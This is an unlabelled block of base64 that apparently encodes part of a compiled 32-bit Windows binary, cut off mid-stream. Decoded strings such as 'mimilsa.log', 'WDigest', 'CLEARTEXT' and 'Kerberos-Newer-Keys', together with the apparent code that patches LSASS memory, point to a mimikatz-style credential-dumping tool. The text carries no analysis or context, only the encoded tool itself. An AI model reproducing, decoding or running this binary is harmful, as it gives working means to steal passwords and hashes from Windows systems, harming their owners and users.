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tF/BiNhAU4////UItF/I1ExaxQ/3XwuENDQ0P/0GtN/BiJhA00////6coBAACNRfhQahX/dfC4RkZGRv/Qa038GImEDTT///9rRfwYg7wFNP///wAPjJ0BAACLRfgPtoDDAAAAhcB0D4tF+A+3gJAAAACJRezrBINl7ACLReyDwChrTfwYiYQNKP///2tF/Bj/tAUo////akC4TU1NTf/QiUXoa0X8GItN6ImMBTj///+DfegAD4QwAQAAi0X4D7aAwAAAAIXAdE6LRfgPt4CAAAAAg/gQdT+LRfiDuIQAAAAAdDNrRfwYi4QFOP///8ZAIQFqEItF+P+whAAAAGtF/BiLhAU4////g8AQULhMTExM/9CDxAyLRfgPtoDBAAAAhcB0SotF+A+3gIgAAACD+BB1O4tF+IO4jAAAAAB0L2tF/BiLhAU4////xkAgAWoQi0X4/7CMAAAAa0X8GP+0BTj///+4TExMTP/Qg8QMi0X4D7aAwwAAAIXAdG6LRfgPt4CQAAAAhcB0YItF+IO4lAAAAAB0VGtF/BiLhAU4////xkAjAWtF/BiLhAU4////i034D7eJkAAAAIlIJItF+A+3gJAAAABQi0X4/7CUAAAAa0X8GIuEBTj///+DwChQuExMTEz/0IPEDGoV/3X4uEdHR0f/0GtF/BiDvAU0////AHwta0X8GIO8BTj///8AdB9rRfwYg7wFKP///wB0EWtF/BiLTfQDjAUo////iU306XD9//+LRfSDwGiLTQiJQQxqBGgAMAAAi0UI/3AMagC4SkpKSv/QiUXki0UIi03kiUgQg33kAA+E4wAAAINl9ACLRQiLQBDHAAYAAACDZfwA6weLRfxAiUX8g338Bg+DvAAAAGtF/BiDvAU0////AA+MpQAAAGtF/BiDvAU4////AA+EgQAAAGtF/BiDvAUo////AHRzi0X0g8Boa038GImEDSz///9rRfwYjbQFJP///4tFCItAEItN/MHhBI18CAilpaWla0X8GP+0BSj///9rRfwY/7QFOP///2tF/BiLTQiLSRADjAUs////UbhMTExM/9CDxAxrRfwYi030A4wFKP///4lN9GtF/Bj/tAU4////uEtLS0v/0Okz////jUXwULhCQkJC/9CNReBQuEJCQkL/0I1F3FC4QkJCQv/QM8BfXsnCBABVi+y4cmFzbF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